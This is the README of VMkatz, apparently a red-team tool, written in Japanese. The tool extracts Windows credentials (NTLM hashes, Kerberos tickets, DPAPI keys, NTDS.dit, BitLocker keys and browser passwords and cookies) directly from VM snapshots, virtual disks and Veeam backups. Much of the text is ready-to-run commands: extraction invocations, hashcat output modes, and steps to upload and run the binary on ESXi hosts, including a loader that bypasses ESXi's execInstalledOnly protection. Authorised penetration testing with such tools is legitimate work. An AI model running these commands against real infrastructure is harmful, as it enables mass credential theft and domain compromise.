
VMメモリスナップショットと仮想ディスクからWindowsの資格情報を直接抽出する
レッドチームのエンゲージメントを開始して3週間。仮想化クラスタに接続されたNASに到達した——何百ギガバイトもの .vmdk、.vmsn、.sav がそこにある。しかし回線は200 KB/sしか出ない。100 GBのディスクを1つ持ち出すだけで6日かかってしまう。
VMkatzが存在する理由は、その場で読めるものをわざわざ持ち出す必要はないからだ。VMファイル——メモリスナップショット、仮想ディスク、Veeamバックアップ——からWindowsの資格情報を直接抽出する:NTLMハッシュ、Kerberosチケット、DPAPIマスターキー、LSAシークレット、NTDS.dit、BitLockerキー、ブラウザのシークレット。
単一の静的バイナリ、約3 MB。ESXiホスト、Proxmoxノード、あるいはNASに置く。VMフォルダを指定すれば、ディスクイメージではなく資格情報を持ち帰れる。
mimikatzが実装する9つのSSP資格情報プロバイダーすべて:
| プロバイダー | データ | 備考 |
|---|---|---|
| MSV1_0 | NT/LMハッシュ、SHA1 | ページアウトされたエントリ向けの物理スキャンフォールバック |
| WDigest | 平文パスワード | リンクリスト走査 + .data フォールバック |
| Kerberos | AES/RC4/DESキー、チケット(.kirbi/.ccache) | AVL木走査 + 解放済みセッション向けチケットカービング |
| TsPkg | 平文パスワード | RDPセッションのみ |
| DPAPI | マスターキーキャッシュ(GUID + 復号済みキー) | オフラインDPAPI復号用のSHA1マスターキー |
| SSP | 平文資格情報 | msv1_0.dll 内の SspCredentialList |
| LiveSSP | 平文資格情報 | livessp.dll が必要(Win8以降では稀) |
| Credman | 保存済み資格情報 | ハッシュテーブル + 単一リストの列挙 |
| CloudAP | Azure ADトークン | ローカルのみのログオンでは通常空 |
さらに:メモリからのBitLocker FVEK抽出(FVEc/Cngb のプールタグスキャン)。
$DPAPImk$ — モード15300/15310/15900/15910)| 形式 | 拡張子 | ソース | ステータス |
|---|---|---|---|
| VMwareスナップショット | .vmsn + .vmem | Workstation、ESXi | テスト済み |
| VMware埋め込みスナップショット | .vmsn(.vmem なし) | ESXiサスペンド | テスト済み |
| VirtualBox保存状態 | .sav | VirtualBox | テスト済み |
| QEMU/KVM savevm状態 | 自動検出 | Proxmox、QEMU | テスト済み |
| QEMU/KVM ELFコアダンプ | .elf | virsh dump | テスト済み |
| Hyper-V保存状態 | .vmrs | Hyper-V 2016+ | テスト済み |
| Veeamバックアップ | .vbk、.vib、.vrb | Veeam B&R | テスト済み |
| VMware仮想ディスク | .vmdk(スパース + フラット) | Workstation、ESXi | テスト済み |
| VirtualBox仮想ディスク | .vdi | VirtualBox | テスト済み |
| QEMU/KVM仮想ディスク | .qcow2 | QEMU、Proxmox | テスト済み |
| Hyper-V仮想ディスク | .vhdx、.vhd | Hyper-V | テスト済み |
| VMFS-5/6生SCSIデバイス | /dev/disks/... | ESXi(ファイルロックをバイパス) | テスト済み |
| LVMブロックデバイス | /dev/... | Proxmox LVM-thin | テスト済み |
| 生レジストリハイブ | SAM、SYSTEM、SECURITY | reg save | テスト済み |
| 生NTDS.dit | ntds.dit + SYSTEM | ドメインコントローラ | テスト済み |
| LSASSミニダンプ | .dmp | procdump、タスクマネージャー | テスト済み |
| VMディレクトリ | 任意のフォルダ | 全ファイルを自動検出 | テスト済み |
対象OS:Windows Server 2003からWindows Server 2025 / Windows 11 24H2まで(x86 PAE + x64)。
# Extract LSASS credentials from a VMware snapshot
./vmkatz snapshot.vmsn
# With pagefile resolution for paged-out creds
./vmkatz --disk disk.vmdk snapshot.vmsn
# Extract SAM/LSA/DCC2 from a virtual disk
./vmkatz disk.vmdk
# Extract AD hashes from a domain controller disk
./vmkatz --ntds dc-disk.qcow2
# Point at a VM folder and let it find everything
./vmkatz /path/to/vm-directory/
# Extract from raw registry hives
./vmkatz SAM SYSTEM SECURITY
# Output as hashcat-ready hashes
./vmkatz --format hashcat snapshot.vmsn
# Export Kerberos tickets
./vmkatz --kirbi snapshot.vmsn # .kirbi files
./vmkatz --ccache snapshot.vmsn # .ccache file
# Export BitLocker FVEK for dislocker
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn
# Recursively scan all VMs under a path
./vmkatz -r /vmfs/volumes/datastore1/
# Parse LSASS minidump
./vmkatz lsass.dmp
# Extract from Hyper-V saved state
./vmkatz guest.vmrs
# Extract from Veeam backup (build with --features veeam)
./vmkatz backup.vbk
./vmkatz --veeam-list backup.vbk # List disk images
./vmkatz --veeam-extract backup.vbk # Extract raw disk
| フォーマット | フラグ | 説明 |
|---|---|---|
text | --format text(デフォルト) | セッションメタデータを含む完全な資格情報ダンプ |
brief | --format brief | 資格情報ごとに1行のコンパクトなサマリー |
ntlm | --format ntlm | DOMAIN\user:::hash::: pwdump 形式 |
hashcat | --format hashcat | 生のハッシュ: モード 1000 (NTLM)、2100 (DCC2)、15300/15900 (DPAPI) |
csv | --format csv | 機械可読、全フィールド |
# Cross-compile for ESXi (musl static)
cargo build --release --target x86_64-unknown-linux-musl
# Upload and run
scp target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-Snapshot1.vmsn
VIB保護(execInstalledOnly)が有効な場合は、Pythonローダーを使用してください。設定を無効にする必要はありません。
scp tools/vmkatz_loader.py target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
python /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/datastore1/MyVM/snapshot.vmsn
VIB バイパスの詳細、VMFS の raw デバイスアクセス、自動検出については docs/esxi.md を参照してください。
VMkatz はモジュール式です。機能はコンパイル時に有効/無効を切り替えられます:
| 機能 | 説明 | デフォルト |
|---|---|---|
vmware | VMware .vmsn/.vmem スナップショットのサポート | 有効 |
vbox | VirtualBox .sav 保存状態のサポート | 有効 |
qemu | QEMU/KVM ELF コアダンプ + Proxmox savevm | 有効 |
hyperv | Hyper-V .vmrs/.bin/.raw ダンプのサポート | 有効 |
sam | ディスク抽出 (SAM/LSA/DCC2) + ディスクフォーマットハンドラ | 有効 |
ntds.dit | NTDS.dit AD 抽出。sam が必要 | 有効 |
carve | 部分的な/切り詰められたメモリからの劣化抽出 | 有効 |
dump | プロセスメモリを minidump としてダンプ | 有効 |
vmfs | ESXi SCSI デバイス向け VMFS-5/6 raw パーサー。sam が必要 | 有効 |
chrome | ブラウザシークレット抽出 (Chromium + Firefox)。sam が必要 | 無効 |
veeam | Veeam VBK/VIB/VRB バックアップのサポート。sam が必要 | 無効 |
cargo build --release # Full build
cargo build --release --no-default-features --features vmware # VMware only
cargo build --release --no-default-features --features "sam ntds.dit" # Disk only
cargo build --release --features chrome # Add chrome module
cargo build --release --features veeam # Add Veeam backup support
オプションの chrome モジュールは、オフラインの DPAPI 復号化を介して、Chromium 系ブラウザ (Chrome、Edge、Brave、Vivaldi、Opera) から保存されたパスワード、Cookie、自動入力データを抽出します。--features chrome でビルドし、--chrome で有効化します。
Chrome v10 (os_crypt.encrypted_key) と v20 App-Bound Encryption (Chrome ≥127) をサポートします。ディスクから、メモリ+ディスク (ハイブリッド)、またはその両方を組み合わせて動作します。
./vmkatz --chrome disk.vmdk # Disk-only
./vmkatz --chrome --chrome-password vagrant disk.vmdk # With extra password
./vmkatz --chrome --disk disk.vmdk snapshot.vmsn # Hybrid mem+disk
./vmkatz --chrome --chrome-json disk.vmdk # JSON output
ドメインユーザー(認証情報がローカル SAM にない場合)には、既知の平文を指定した --chrome-password、または NT ハッシュを指定した --chrome-nthash を使用してブラウザのシークレットを解除します。